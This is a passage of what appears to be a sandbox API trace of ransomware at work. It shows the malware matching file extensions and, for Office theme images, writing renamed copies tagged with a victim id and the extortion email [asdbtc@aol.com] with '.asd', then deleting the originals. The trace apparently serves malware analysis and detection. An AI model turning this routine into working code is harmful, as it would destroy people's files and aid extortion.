lpString2=".PNG") returned 1 [0053.940] lstrlenW (lpString=".xlsx") returned 5 [0053.940] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.941] lstrlenW (lpString=".ppt") returned 4 [0053.941] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.941] lstrlenW (lpString=".zip") returned 4 [0053.941] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.941] lstrlenW (lpString=".rar") returned 4 [0053.941] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.941] lstrlenW (lpString=".bz2") returned 4 [0053.941] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.941] lstrlenW (lpString=".7z") returned 3 [0053.941] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.941] lstrlenW (lpString=".dbf") returned 4 [0053.941] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.941] lstrlenW (lpString=".1cd") returned 4 [0053.941] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0053.941] lstrlenW (lpString=".jpg") returned 4 [0053.941] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.941] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0053.941] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.942] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=20371) returned 1 [0053.942] CloseHandle (hObject=0x204) returned 1 [0053.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0053.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.942] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.943] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0053.943] GetLastError () returned 0x0 [0053.943] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x4f93, lpOverlapped=0x0) returned 1 [0053.946] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0053.947] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0053.947] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.947] SetEndOfFile (hFile=0x21c) returned 1 [0053.948] CloseHandle (hObject=0x21c) returned 1 [0053.948] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.948] SetEndOfFile (hFile=0x204) returned 1 [0053.949] CloseHandle (hObject=0x204) returned 1 [0053.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.949] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0053.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.950] lstrlenW (lpString=".doc") returned 4 [0053.950] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.950] lstrlenW (lpString=".docx") returned 5 [0053.950] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.950] lstrlenW (lpString=".pdf") returned 4 [0053.950] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.950] lstrlenW (lpString=".xls") returned 4 [0053.950] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.950] lstrlenW (lpString=".xlsx") returned 5 [0053.950] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.950] lstrlenW (lpString=".ppt") returned 4 [0053.950] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.950] lstrlenW (lpString=".zip") returned 4 [0053.950] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.950] lstrlenW (lpString=".rar") returned 4 [0053.950] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.950] lstrlenW (lpString=".bz2") returned 4 [0053.950] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.950] lstrlenW (lpString=".7z") returned 3 [0053.950] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.950] lstrlenW (lpString=".dbf") returned 4 [0053.950] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.951] lstrlenW (lpString=".1cd") returned 4 [0053.951] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.951] lstrlenW (lpString=".jpg") returned 4 [0053.951] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.951] lstrlenW (lpString=".doc") returned 4 [0053.951] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.951] lstrlenW (lpString=".docx") returned 5 [0053.951] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.951] lstrlenW (lpString=".pdf") returned 4 [0053.951] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.951] lstrlenW (lpString=".xls") returned 4 [0053.951] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.951] lstrlenW (lpString=".xlsx") returned 5 [0053.951] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.951] lstrlenW (lpString=".ppt") returned 4 [0053.951] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.951] lstrlenW (lpString=".zip") returned 4 [0053.951] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.951] lstrlenW (lpString=".rar") returned 4 [0053.951] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.951] lstrlenW (lpString=".bz2") returned 4 [0053.951] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.952] lstrlenW (lpString=".7z") returned 3 [0053.952] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.952] lstrlenW (lpString=".dbf") returned 4 [0053.952] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.952] lstrlenW (lpString=".1cd") returned 4 [0053.952] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0053.952] lstrlenW (lpString=".jpg") returned 4 [0053.952] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.952] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0053.952] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.953] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1293) returned 1 [0053.953] CloseHandle (hObject=0x204) returned 1 [0053.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0053.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.954] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.954] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0053.957] GetLastError () returned 0x0 [0053.957] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x50d, lpOverlapped=0x0) returned 1 [0053.958] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x510, lpOverlapped=0x0) returned 1 [0053.960] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0053.960] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.960] SetEndOfFile (hFile=0x21c) returned 1 [0053.960] CloseHandle (hObject=0x21c) returned 1 [0053.960] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.960] SetEndOfFile (hFile=0x204) returned 1 [0053.961] CloseHandle (hObject=0x204) returned 1 [0053.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.962] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0053.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.962] lstrlenW (lpString=".doc") returned 4 [0053.962] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.962] lstrlenW (lpString=".docx") returned 5 [0053.962] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.962] lstrlenW (lpString=".pdf") returned 4 [0053.962] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.962] lstrlenW (lpString=".xls") returned 4 [0053.962] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.962] lstrlenW (lpString=".xlsx") returned 5 [0053.962] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.962] lstrlenW (lpString=".ppt") returned 4 [0053.962] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.962] lstrlenW (lpString=".zip") returned 4 [0053.963] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.963] lstrlenW (lpString=".rar") returned 4 [0053.963] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.963] lstrlenW (lpString=".bz2") returned 4 [0053.963] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.963] lstrlenW (lpString=".7z") returned 3 [0053.963] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.963] lstrlenW (lpString=".dbf") returned 4 [0053.963] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.963] lstrlenW (lpString=".1cd") returned 4 [0053.963] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.963] lstrlenW (lpString=".jpg") returned 4 [0053.963] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.963] lstrlenW (lpString=".doc") returned 4 [0053.963] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.963] lstrlenW (lpString=".docx") returned 5 [0053.963] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.963] lstrlenW (lpString=".pdf") returned 4 [0053.963] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.963] lstrlenW (lpString=".xls") returned 4 [0053.963] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.963] lstrlenW (lpString=".xlsx") returned 5 [0053.964] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.964] lstrlenW (lpString=".ppt") returned 4 [0053.964] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.964] lstrlenW (lpString=".zip") returned 4 [0053.964] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.964] lstrlenW (lpString=".rar") returned 4 [0053.964] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.964] lstrlenW (lpString=".bz2") returned 4 [0053.964] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.964] lstrlenW (lpString=".7z") returned 3 [0053.964] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.964] lstrlenW (lpString=".dbf") returned 4 [0053.964] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.964] lstrlenW (lpString=".1cd") returned 4 [0053.964] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0053.964] lstrlenW (lpString=".jpg") returned 4 [0053.964] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.964] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0053.964] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.965] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=20575) returned 1 [0053.965] CloseHandle (hObject=0x204) returned 1 [0053.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0053.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.965] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.966] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0053.966] GetLastError () returned 0x0 [0053.966] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x505f, lpOverlapped=0x0) returned 1 [0053.969] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x5060, lpOverlapped=0x0) returned 1 [0053.971] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0053.971] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.971] SetEndOfFile (hFile=0x21c) returned 1 [0053.971] CloseHandle (hObject=0x21c) returned 1 [0053.971] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.971] SetEndOfFile (hFile=0x204) returned 1 [0053.972] CloseHandle (hObject=0x204) returned 1 [0053.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.973] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0053.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.973] lstrlenW (lpString=".doc") returned 4 [0053.973] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.973] lstrlenW (lpString=".docx") returned 5 [0053.973] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.973] lstrlenW (lpString=".pdf") returned 4 [0053.973] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.973] lstrlenW (lpString=".xls") returned 4 [0053.973] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.974] lstrlenW (lpString=".xlsx") returned 5 [0053.974] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.974] lstrlenW (lpString=".ppt") returned 4 [0053.974] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.974] lstrlenW (lpString=".zip") returned 4 [0053.974] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.974] lstrlenW (lpString=".rar") returned 4 [0053.974] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.974] lstrlenW (lpString=".bz2") returned 4 [0053.974] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.974] lstrlenW (lpString=".7z") returned 3 [0053.974] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.974] lstrlenW (lpString=".dbf") returned 4 [0053.974] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.974] lstrlenW (lpString=".1cd") returned 4 [0053.974] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.974] lstrlenW (lpString=".jpg") returned 4 [0053.974] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0053.975] lstrlenW (lpString=".doc") returned 4 [0053.975] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.975] lstrlenW (lpString=".docx") returned 5 [0053.975] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.975] lstrlenW (lpString=".pdf") returned 4 [0053.975] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.975] lstrlenW (lpString=".xls") returned 4 [0053.975] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.975] lstrlenW (lpString=".xlsx") returned 5 [0053.975] lstrcmpiW (lpString1=".xlsx", 